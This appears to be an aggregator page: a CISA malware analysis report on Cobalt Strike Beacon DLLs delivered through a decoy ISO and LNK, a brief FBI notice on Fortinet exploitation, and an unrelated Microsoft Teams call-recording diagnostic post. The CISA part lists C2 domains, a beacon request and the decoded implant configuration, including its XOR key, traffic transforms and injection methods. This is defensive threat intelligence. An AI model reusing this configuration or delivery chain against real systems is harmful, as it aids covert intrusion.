Cobalt Strike Beacon DLL files “Documents.dll” (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c and ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330) attempt to connect to the domain.
worldhomeoutlet.com
Tags
command-and-control
URLs
- worldhomeoutlet.com/jquery-3.3.1.min.woff2
HTTP Sessions
- GET /jquery-3.3.1.min.woff2 HTTP/1.1
Accept: */*
Cookie: _cfuid=QA9ir3qEQyrMCBiZvVVeZeJgmwAQkeyavYAyYk3S8phISRPhzhyYFClzQKeXwGSDFXHoMR1LGv166j-9tyF8b6AlxbeDwjrtfHB5yGK337UPiqJ7CGi6k7yRHRh5t5ngCa8jzkmNCfV2s2KvEO6Bp1hs-qjhtE7kL4DG9AgsO-n2Uo27
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Host: worldhomeoutlet[.]com
Connection: Keep-Alive
Cache-Control: no-cache
Whois
Domain name: worldhomeoutlet.com
Registry Domain ID: 2502265423_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 2021-02-17T11:58:31.52Z
Creation Date: 2020-03-11T14:24:03.00Z
Registrar Registration Expiration Date: 2022-03-11T14:24:03.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: abuse@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: Withheld for Privacy Purposes
Registrant Organization: Privacy service provided by Withheld for Privacy ehf
Registrant Street: Kalkofnsvegur 2
Registrant City: Reykjavik
Registrant State/Province: Capital Region
Registrant Postal Code: 101
Registrant Country: IS
Registrant Phone: +354.4212434
Registrant Phone Ext:
Registrant Fax:
Registrant Fax Ext:
Registrant Email: 20cbb70538424016943819fe8eadaddc.protect@withheldforprivacy.com
Registry Admin ID:
Admin Name: Withheld for Privacy Purposes
Admin Organization: Privacy service provided by Withheld for Privacy ehf
Admin Street: Kalkofnsvegur 2
Admin City: Reykjavik
Admin State/Province: Capital Region
Admin Postal Code: 101
Admin Country: IS
Admin Phone: +354.4212434
Admin Phone Ext:
Admin Fax:
Admin Fax Ext:
Admin Email: 20cbb70538424016943819fe8eadaddc.protect@withheldforprivacy.com
Registry Tech ID:
Tech Name: Withheld for Privacy Purposes
Tech Organization: Privacy service provided by Withheld for Privacy ehf
Tech Street: Kalkofnsvegur 2
Tech City: Reykjavik
Tech State/Province: Capital Region
Tech Postal Code: 101
Tech Country: IS
Tech Phone: +354.4212434
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: 20cbb70538424016943819fe8eadaddc.protect@withheldforprivacy.com
Name Server: dns1.registrar-servers.com
Name Server: dns2.registrar-servers.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
Relationships
| worldhomeoutlet.com |
Connected_From |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| worldhomeoutlet.com |
Connected_From |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
Description
Cobalt Strike Beacon DLL files “Documents.dll” (ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c and ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330) attempt to connect to the domain.
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916
Tags
dropper
Details
| Name |
ICA-declass.iso |
| Size |
22085632 bytes |
| Type |
UDF filesystem data (version 1.5) ‘ICA_DECLASS’ |
| MD5 |
29e2ef8ef5c6ff95e98bff095e63dc05 |
| SHA1 |
bf7b36c521e52093360a4df0dd131703b7b3d648 |
| SHA256 |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| SHA512 |
99c90941405628ce989a4bb8683f052450d22b25c9f3aeda21b0086ba9f0b67d67a21536ae1b0a000eef006024e714f78b32b3626e99c3ad0c9a406f66aa8e7e |
| ssdeep |
393216:UkU+ZCNKp+nzmrrascT2vZw/ORavIZ8D8wd1gAqL5v078owIgPtW9+6KPz0wr0Q1:x4DnzsGGsvIZi8AZqLNSqj6cz0K7q0t |
| Entropy |
7.703418 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Relationships
| 94786066a6… |
Contains |
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 |
| 94786066a6… |
Contains |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| 94786066a6… |
Contains |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
Description
This file is an ISO archive file containing three files including a malicious DLL library named “Documents.dll”(ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330). This DLL application has been identified as a custom Cobalt Strike Beacon Version 4 implant. The second file is a malicious shortcut file named “Reports.lnk” (48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0). The shortcut executes the custom Cobalt Strike Beacon loader. The third file, “ICA-declass.pdf”, is a benign decoy PDF (7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673).
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330
Tags
trojan
Details
| Name |
Documents.dll |
| Size |
1747968 bytes |
| Type |
PE32+ executable (DLL) (GUI) x86-64, for MS Windows |
| MD5 |
1c3b8ae594cb4ce24c2680b47cebf808 |
| SHA1 |
1fb12e923bdb71a1f34e98576b780ab2840ba22e |
| SHA256 |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
| SHA512 |
2917e5a1ecfa4343f0de204804487db368371b10b9ae3cc2ebc7e1da74c679c1ef198c2c183572f537fed7c1bc8c7183513fcadf6dcad3749bc401f32b2fb6c1 |
| ssdeep |
6144:GBv2rCsfI34JBE8LCiohg05tnCCRem/V9FkkKdKb+/++9GIyRv9QTaq+D/aYndvj:GBurzfI2B9roDtVcKb+/+EzD+7aJ |
| Entropy |
2.177087 |
Antivirus
| BitDefender |
Gen:Variant.Razy.872798 |
| Cyren |
W64/Trojan2.QXAH |
| ESET |
a variant of Win64/Rozena.KA trojan |
| Emsisoft |
Gen:Variant.Razy.872798 (B) |
| Ikarus |
Trojan.Win64.Rozena |
YARA Rules
No matches found.
ssdeep Matches
No matches found.
PE Metadata
| Compile Date |
2019-04-27 14:24:28-04:00 |
| Import Hash |
844c8136867966b00afa26206439e6ff |
PE Sections
| MD5 |
Name |
Raw Size |
Entropy |
| 7d43d5e4810891d60b6c1cfe53c65bda |
header |
1024 |
2.863431 |
| 0ec5565defffef0494210cd746adb072 |
.text |
91648 |
6.404547 |
| d5be4f214547e473abb5af81438017fa |
.rdata |
55808 |
5.068392 |
| 64f4595113032e066dfcf5791dc377da |
.data |
1592320 |
1.640945 |
| 32029ef6b1f438ceea676490a1afa4d8 |
.pdata |
4608 |
5.070921 |
| b19c0e4b63d9d9892e1e291e7dcb7fd7 |
.rsrc |
512 |
4.719348 |
| 1819f7d3592f9bbf795bc7902ffa7fed |
.reloc |
2048 |
4.886504 |
Relationships
| ee42ddacbd… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| ee42ddacbd… |
Related_To |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| ee42ddacbd… |
Connected_To |
theyardservice.com |
| ee42ddacbd… |
Connected_To |
worldhomeoutlet.com |
Description
This file is a 64-bit DLL file identified as a custom Cobalt Strike Beacon Version 4 implant. The DLL was contained within the ISO file “ICA-declass.iso” (94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916). The encoded configuration data for the implant is illustrated in Figure 1. The configuration file contains the hard-coded C2s, communication protocol, and an implant watermark. The configuration file is encoded via an XOR with the key 0x2e and a 16-bit byte swap. The parsed configuration file for the Cobalt Beacon implant is displayed below:
–Begin configuration data–
BeaconType – Not Found
Port – 187
SleepTime – Not Found
MaxGetSize – Not Found
Jitter – Not Found
MaxDNS – Not Found
PublicKey_MD5 – Not Found
C2Server – dataplane.theyardservice.com,/jquery-3.3.1.min.woff2,cdn.theyardservice.com,/jquery-3.3.1.min.woff2,static.theyardservice.com,/jquery-3.3.1.min.woff2,worldhomeoutlet.com,/jquery-3.3.1.min.woff2
UserAgent – Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
HttpPostUri – /jquery-3.3.2.min.woff2
Malleable_C2_Instructions – Remove 1522 bytes from the end
Remove 84 bytes from the beginning
Remove 3931 bytes from the beginning
Base64 URL-safe decode
XOR mask w/ random key
HttpGet_Metadata – Metadata
mask
base64url
prepend “_cfuid=”
header “Cookie”
HttpPost_Metadata – SessionId
mask
base64url
parameter “_cfuid”
Output
mask
base64url
print
PipeName – Not Found
DNS_Idle – Not Found
DNS_Sleep – Not Found
SSH_Host – Not Found
SSH_Port – Not Found
SSH_Username – Not Found
SSH_Password_Plaintext – Not Found
SSH_Password_Pubkey – Not Found
SSH_Banner –
HttpGet_Verb – GET
HttpPost_Verb – POST
HttpPostChunk – 0
Spawnto_x86 – %windir%syswow64dllhost.exe
Spawnto_x64 – %windir%sysnativedllhost.exe
CryptoScheme – 0
Proxy_Config – Not Found
Proxy_User – Not Found
Proxy_Password – Not Found
Proxy_Behavior – Use IE settings
Watermark – 1359593325
bStageCleanup – True
bCFGCaution – False
KillDate – 0
bProcInject_StartRWX – False
bProcInject_UseRWX – False
bProcInject_MinAllocSize – 0
ProcInject_PrependAppend_x86 – b’x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90′
Empty
ProcInject_PrependAppend_x64 – b’x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90′
Empty
ProcInject_Execute – ntdll:RtlUserThreadStart
CreateThread
NtQueueApcThread-s
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod – NtMapViewOfSection
bUsesCookies – True
HostHeader –
headersToRemove – Not Found
DNS_Beaconing – Not Found
DNS_get_TypeA – Not Found
DNS_get_TypeAAAA – Not Found
DNS_get_TypeTXT – Not Found
DNS_put_metadata – Not Found
DNS_put_output – Not Found
DNS_resolver – Not Found
DNS_strategy – Not Found
DNS_strategy_rotate_seconds – Not Found
DNS_strategy_fail_x – Not Found
DNS_strategy_fail_seconds – Not Found
–End configuration data–
The hard-coded C2s include the following:
–Begin C2s–
dataplane.theyardservice[.]com/jquery-3.3.1.min.woff2
cdn.theyardservice[.]com/jquery-3.3.1.min.woff2
static.theyardservice[.]com/jquery-3.3.1.min.woff2
worldhomeoutlet[.]com/jquery-3.3.1.min.woff2
–End C2s–
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142
Tags
dropper
Details
| Name |
ICA-declass.iso |
| Size |
10485447 bytes |
| Type |
UDF filesystem data (version 1.5) ‘ICA_DECLASS’ |
| MD5 |
ebe2f8df39b4a94fb408580a728d351f |
| SHA1 |
251fa6cafd4f4d26fe97630834aa7d3f5543f886 |
| SHA256 |
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 |
| SHA512 |
c18f88763383abd5bee0ad3804acfbfa3bfe11d4643190e63b97007adb2aa058c5cf316f8625680b8f68e7af865604eafe887b48f5889614f7edb17059a86755 |
| ssdeep |
196608:MMWitOVKn+ZCZQkpyjdYmsm+xRC+0Ezmr3ra3chWJWMeZv2SxQUWuO:fkU+ZCNKp+nzmrrascT2vZ4 |
| Entropy |
7.187756 |
Antivirus
No matches found.
YARA Rules
No matches found.
ssdeep Matches
No matches found.
Relationships
| d035d394a8… |
Contains |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
Description
This file is an ISO archive file containing three files including a malicious DLL library named “Documents.dll”(ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330). This DLL application has been identified as a custom Cobalt Strike Beacon Version 4 implant. This archive file is corrupt preventing the remaining files “ICA_DECL.PDF” and “REPORT.LNK” from being extracted.
Relationship Summary
| 2523f94bd4… |
Contains |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| 2523f94bd4… |
Contains |
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 |
| 2523f94bd4… |
Contains |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| 7d34f25ad8… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| 7d34f25ad8… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| 48b5fb3fa3… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| 48b5fb3fa3… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| 48b5fb3fa3… |
Related_To |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| 48b5fb3fa3… |
Related_To |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
| ee44c0692f… |
Contained_Within |
2523f94bd4fba4af76f4411fe61084a7e7d80dec163c9ccba9226c80b8b31252 |
| ee44c0692f… |
Contained_Within |
d035d394a82ae1e44b25e273f99eae8e2369da828d6b6fdb95076fd3eb5de142 |
| ee44c0692f… |
Related_To |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| ee44c0692f… |
Connected_To |
theyardservice.com |
| ee44c0692f… |
Connected_To |
worldhomeoutlet.com |
| theyardservice.com |
Connected_From |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| theyardservice.com |
Connected_From |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
| worldhomeoutlet.com |
Connected_From |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
| worldhomeoutlet.com |
Connected_From |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
| 94786066a6… |
Contains |
7d34f25ad8099bd069c5a04799299f17d127a3866b77ee34ffb59cfd36e29673 |
| 94786066a6… |
Contains |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| 94786066a6… |
Contains |
ee42ddacbd202008bcc1312e548e1d9ac670dd3d86c999606a3a01d464a2a330 |
| ee42ddacbd… |
Contained_Within |
94786066a64c0eb260a28a2959fcd31d63d175ade8b05ae682d3f6f9b2a5a916 |
| ee42ddacbd… |
Related_To |
48b5fb3fa3ea67c2bc0086c41ec755c39d748a7100d71b81f618e82bf1c479f0 |
| ee42ddacbd… |
Connected_To |
theyardservice.com |
| ee42ddacbd… |
Connected_To |
worldhomeoutlet.com |
| d035d394a8… |
Contains |
ee44c0692fd2ab2f01d17ca4b58ca6c7f79388cbc681f885bb17ec946514088c |
Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
- Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.
Contact Information
CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/
Document FAQ
What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.
Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.
by Scott Muniz | May 28, 2021 | Security, Technology
This article is contributed. See the original author and article here.
The Federal Bureau of Investigation (FBI) has released an FBI FLASH, APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity, which describes advanced persistent threat (APT) actors exploiting known Fortinet FortiOS vulnerabilities. APT actors may exploit these vulnerabilities to gain initial access to multiple government, commercial, and technology services to conduct future attacks. This is a follow up to the FBI-CISA Joint Cybersecurity Advisory AA21-092A: APT Actors Exploit Vulnerabilities to Gain Initial Access for Future Attack, originally published April 2, and provides indicators of compromise (IOCs) and additional recommended mitigations.
CISA encourages users and administrators to review the IOCs and updated mitigations in FBI FLASH MI-000148-MW and refer back to AA21-092A for additional information.
by Contributed | May 28, 2021 | Technology
This article is contributed. See the original author and article here.
Hi Teams Community,
In conjunction with the upcoming release of 1:1 Call Recording Policy, @Sorin Duta has coded up a new Diagnostic for us. Before you check out the diagnostic we highly recommend reviewing this earlier blog post which explains the upcoming changes, so please go review that first: 1:1 Call Recording Policy Controls Are (Almost!) Here – Microsoft Tech Community
After the policy takes effect, some users might experience a greyed out “Start Recording” button in 1:1 Calls. This new diagnostic is pretty simple and will check the user’s Teams Calling Policy for the AllowCloudRecordingForCalls parameter – if that’s $false (and it will be by default), the user will not be allowed to record 1:1 Calls.
Here’s what it looks like in the Admin Portal (reminder, in your Admin Portal click on “need help” or under Support – New service request” – type in the shortcut Diag: Teams 1:1 Call Recording
In this case, the user’s policy setting AllowCloudRecordingForCalls is set to $false, and they’re not allowed to record 1:1 calls. The Diagnostic returns detailed instructions on how to change that policy setting. We also cover that in depth on the previous blog post mentioned above.
In the case AllowCloudRecordingForCalls is set to $true – we’ll display the following:
It’s possible due to policy change replication time a user might still have the “Start Recording” button greyed out after a policy change to allow it – so be sure to wait a couple hours and try again if you’ve recently made a change.
While this one is pretty simple, we hope it helps you determine if a user’s 1:1 Call Recording policy is what is preventing them from recording calls. On the other hand, if you want to prevent users from recording 1:1 Calls, this diag can help you confirm you have it set correctly.
As always we hope this helps, and welcome your feedback in the comments below.
Thanks!
Microsoft Teams Support
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